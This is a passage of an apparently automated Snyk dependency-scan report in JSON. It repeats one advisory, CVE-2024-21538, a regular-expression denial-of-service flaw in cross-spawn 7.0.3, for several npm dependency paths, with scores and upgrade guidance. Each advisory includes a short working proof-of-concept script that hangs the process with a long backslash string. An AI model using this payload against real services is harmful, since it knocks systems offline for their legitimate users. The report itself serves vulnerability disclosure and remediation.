"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "cross-spawn",
"references": [
{
"url": "https://github.com/moxystudio/node-cross-spawn/commit/5ff3a07d9add449021d806e45c4168203aa833ff",
"title": "GitHub Commit"
},
{
"url": "https://github.com/moxystudio/node-cross-spawn/commit/640d391fde65388548601d95abedccc12943374f",
"title": "GitHub Commit"
},
{
"url": "https://github.com/moxystudio/node-cross-spawn/pull/160",
"title": "GitHub PR"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 4.4,
"modificationTime": "2024-11-26T13:35:49.870515Z"
},
{
"assigner": "SUSE",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 5.5,
"modificationTime": "2024-12-12T11:03:12.776792Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-15T14:04:05.035115Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-15T14:04:05.035115Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 4.4,
"cvssVersion": "3.1",
"modificationTime": "2024-11-26T13:35:49.870515Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "SUSE",
"severity": "medium",
"baseScore": 5.5,
"cvssVersion": "3.1",
"modificationTime": "2024-12-12T11:03:12.776792Z"
}
],
"description": "## Overview\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) due to improper input sanitization. An attacker can increase the CPU usage and crash the program by crafting a very large and well crafted string.\n## PoC\n```javascript\r\nconst { argument } = require('cross-spawn/lib/util/escape');\r\nvar str = \"\";\r\nfor (var i = 0; i < 1000000; i++) {\r\n str += \"\\\\\";\r\n}\r\nstr += \"◎\";\r\n\r\nconsole.log(\"start\")\r\nargument(str)\r\nconsole.log(\"end\")\r\n\r\n// run `npm install cross-spawn` and `node attack.js` \r\n// then the program will stuck forever with high CPU usage\r\n```\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `cross-spawn` to version 6.0.6, 7.0.5 or higher.\n## References\n- [GitHub Commit](https://github.com/moxystudio/node-cross-spawn/commit/5ff3a07d9add449021d806e45c4168203aa833ff)\n- [GitHub Commit](https://github.com/moxystudio/node-cross-spawn/commit/640d391fde65388548601d95abedccc12943374f)\n- [GitHub PR](https://github.com/moxystudio/node-cross-spawn/pull/160)\n",
"epssDetails": {
"percentile": "0.55693",
"probability": "0.00868",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2024-21538"
],
"CWE": [
"CWE-1333"
]
},
"packageName": "cross-spawn",
"proprietary": true,
"creationTime": "2024-10-24T14:00:39.760442Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2024-10-24T06:04:14Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2024-11-07T14:07:29.496832Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-15T14:04:05.035115Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"@npmcli/arborist@7.5.4",
"cacache@18.0.3",
"glob@10.4.2",
"foreground-child@3.2.1",
"cross-spawn@7.0.3"
],
"upgradePath": [
false,
"npm@11.0.0",
"@npmcli/arborist@9.9.3",
"cacache@20.0.4",
"glob@13.0.6"
],
"isUpgradable": true,
"isPatchable": false,
"name": "cross-spawn",
"version": "7.0.3"
},
{
"id": "SNYK-JS-CROSSSPAWN-8303230",
"title": "Regular Expression Denial of Service (ReDoS)",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Rongchen Li"
],
"semver": {
"vulnerable": [
"<6.0.6",
">=7.0.0 <7.0.5"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"6.0.6",
"7.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "cross-spawn",
"references": [
{
"url": "https://github.com/moxystudio/node-cross-spawn/commit/5ff3a07d9add449021d806e45c4168203aa833ff",
"title": "GitHub Commit"
},
{
"url": "https://github.com/moxystudio/node-cross-spawn/commit/640d391fde65388548601d95abedccc12943374f",
"title": "GitHub Commit"
},
{
"url": "https://github.com/moxystudio/node-cross-spawn/pull/160",
"title": "GitHub PR"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 4.4,
"modificationTime": "2024-11-26T13:35:49.870515Z"
},
{
"assigner": "SUSE",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 5.5,
"modificationTime": "2024-12-12T11:03:12.776792Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-15T14:04:05.035115Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-15T14:04:05.035115Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 4.4,
"cvssVersion": "3.1",
"modificationTime": "2024-11-26T13:35:49.870515Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "SUSE",
"severity": "medium",
"baseScore": 5.5,
"cvssVersion": "3.1",
"modificationTime": "2024-12-12T11:03:12.776792Z"
}
],
"description": "## Overview\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) due to improper input sanitization. An attacker can increase the CPU usage and crash the program by crafting a very large and well crafted string.\n## PoC\n```javascript\r\nconst { argument } = require('cross-spawn/lib/util/escape');\r\nvar str = \"\";\r\nfor (var i = 0; i < 1000000; i++) {\r\n str += \"\\\\\";\r\n}\r\nstr += \"◎\";\r\n\r\nconsole.log(\"start\")\r\nargument(str)\r\nconsole.log(\"end\")\r\n\r\n// run `npm install cross-spawn` and `node attack.js` \r\n// then the program will stuck forever with high CPU usage\r\n```\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `cross-spawn` to version 6.0.6, 7.0.5 or higher.\n## References\n- [GitHub Commit](https://github.com/moxystudio/node-cross-spawn/commit/5ff3a07d9add449021d806e45c4168203aa833ff)\n- [GitHub Commit](https://github.com/moxystudio/node-cross-spawn/commit/640d391fde65388548601d95abedccc12943374f)\n- [GitHub PR](https://github.com/moxystudio/node-cross-spawn/pull/160)\n",
"epssDetails": {
"percentile": "0.55693",
"probability": "0.00868",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2024-21538"
],
"CWE": [
"CWE-1333"
]
},
"packageName": "cross-spawn",
"proprietary": true,
"creationTime": "2024-10-24T14:00:39.760442Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2024-10-24T06:04:14Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2024-11-07T14:07:29.496832Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-15T14:04:05.035115Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"@npmcli/run-script@8.1.0",
"@npmcli/package-json@5.2.0",
"glob@10.4.2",
"foreground-child@3.2.1",
"cross-spawn@7.0.3"
],
"upgradePath": [
false,
"npm@11.6.1",
"@npmcli/run-script@10.0.4",
"@npmcli/package-json@7.0.5",
"glob@13.0.6"
],
"isUpgradable": true,
"isPatchable": false,
"name": "cross-spawn",
"version": "7.0.3"
},
{
"id": "SNYK-JS-CROSSSPAWN-8303230",
"title": "Regular Expression Denial of Service (ReDoS)",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Rongchen Li"
],
"semver": {
"vulnerable": [
"<6.0.6",
">=7.0.0 <7.0.5"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"6.0.6",
"7.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "cross-spawn",
"references": [
{
"url": "https://github.com/moxystudio/node-cross-spawn/commit/5ff3a07d9add449021d806e45c4168203aa833ff",
"title": "GitHub Commit"
},
{
"url": "https://github.com/moxystudio/node-cross-spawn/commit/640d391fde65388548601d95abedccc12943374f",
"title": "GitHub Commit"
},
{
"url": "https://github.com/moxystudio/node-cross-spawn/pull/160",
"title": "GitHub PR"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 4.4,
"modificationTime": "2024-11-26T13:35:49.870515Z"
},
{
"assigner": "SUSE",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 5.5,
"modificationTime": "2024-12-12T11:03:12.776792Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-15T14:04:05.035115Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-15T14:04:05.035115Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 4.4,
"cvssVersion": "3.1",
"modificationTime": "2024-11-26T13:35:49.870515Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "SUSE",
"severity": "medium",
"baseScore": 5.5,
"cvssVersion": "3.1",
"modificationTime": "2024-12-12T11:03:12.776792Z"
}
],
"description": "## Overview\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) due to improper input sanitization. An attacker can increase the CPU usage and crash the program by crafting a very large and well crafted string.\n## PoC\n```javascript\r\nconst { argument } = require('cross-spawn/lib/util/escape');\r\nvar str = \"\";\r\nfor (var i = 0; i < 1000000; i++) {\r\n str += \"\\\\\";\r\n}\r\nstr += \"◎\";\r\n\r\nconsole.log(\"start\")\r\nargument(str)\r\nconsole.log(\"end\")\r\n\r\n// run `npm install cross-spawn` and `node attack.js` \r\n// then the program will stuck forever with high CPU usage\r\n```\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `cross-spawn` to version 6.0.6, 7.0.5 or higher.\n## References\n- [GitHub Commit](https://github.com/moxystudio/node-cross-spawn/commit/5ff3a07d9add449021d806e45c4168203aa833ff)\n- [GitHub Commit](https://github.com/moxystudio/node-cross-spawn/commit/640d391fde65388548601d95abedccc12943374f)\n- [GitHub PR](https://github.com/moxystudio/node-cross-spawn/pull/160)\n",
"epssDetails": {
"percentile": "0.55693",
"probability": "0.00868",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2024-21538"
],
"CWE": [
"CWE-1333"
]
},
"packageName": "cross-spawn",
"proprietary": true,
"creationTime": "2024-10-24T14:00:39.760442Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2024-10-24T06:04:14Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2024-11-07T14:07:29.496832Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-15T14:04:05.035115Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"pacote@18.0.6",
"@npmcli/package-json@5.2.0",
"glob@10.4.2",
"foreground-child@3.2.1",
"cross-spawn@7.0.3"
],
"upgradePath": [
false,
"npm@11.0.0",
"pacote@21.5.1",
"@npmcli/package-json@7.0.5",
"glob@13.0.6"
],
"isUpgradable": true,
"isPatchable": false,
"name": "cross-spawn",
"version": "7.0.3"
},
{
"id": "SNYK-JS-CROSSSPAWN-8303230",
"title": "Regular Expression Denial of Service (ReDoS)",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Rongchen Li"
],
"semver": {
"vulnerable": [
"<6.0.6",
">=7.0.0 <7.0.5"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"6.0.6",
"7.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "cross-spawn",
"references": [
{
"url": "https://github.com/moxystudio/node-cross-spawn/commit/5ff3a07d9add449021d806e45c4168203aa833ff",
"title": "GitHub Commit"
},
{
"url": "https://github.com/moxystudio/node-cross-spawn/commit/640d391fde65388548601d95abedccc12943374f",
"title": "GitHub Commit"
},
{
"url": "https://github.com/moxystudio/node-cross-spawn/pull/160",
"title": "GitHub PR"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 4.4,
"modificationTime": "2024-11-26T13:35:49.870515Z"
},
{
"assigner": "SUSE",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 5.5,
"modificationTime": "2024-12-12T11:03:12.776792Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-15T14:04:05.035115Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-15T14:04:05.035115Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 4.4,
"cvssVersion": "3.1",
"modificationTime": "2024-11-26T13:35:49.870515Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "SUSE",
"severity": "medium",
"baseScore": 5.5,
"cvssVersion": "3.1",
"modificationTime": "2024-12-12T11:03:12.776792Z"
}
],
"description": "## Overview\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) due to improper input sanitization. An attacker can increase the CPU usage and crash the program by crafting a very large and well crafted string.\n## PoC\n```javascript\r\nconst { argument } = require('cross-spawn/lib/util/escape');\r\nvar str = \"\";\r\nfor (var i = 0; i < 1000000; i++) {\r\n str += \"\\\\\";\r\n}\r\nstr += \"◎\";\r\n\r\nconsole.log(\"start\")\r\nargument(str)\r\nconsole.log(\"end\")\r\n\r\n// run `npm install cross-spawn` and `node attack.js` \r\n// then the program will stuck forever with high CPU usage\r\n```\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `cross-spawn` to version 6.0.6, 7.0.5 or higher.\n## References\n- [GitHub Commit](https://github.com/moxystudio/node-cross-spawn/commit/5ff3a07d9add449021d806e45c4168203aa833ff)\n- [GitHub Commit](https://github.com/moxystudio/node-cross-spawn/commit/640d391fde65388548601d95abedccc12943374f)\n- [GitHub PR](https://github.com/moxystudio/node-cross-spawn/pull/160)\n",
"epssDetails": {
"percentile": "0.55693",
"probability": "0.00868",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2024-21538"
],
"CWE": [
"CWE-1333"
]
},
"packageName": "cross-spawn",
"proprietary": true,
"creationTime": "2024-10-24T14:00:39.760442Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2024-10-24T06:04:14Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2024-11-07T14:07:29.496832Z",
"severityBasedOn": "CVSS",
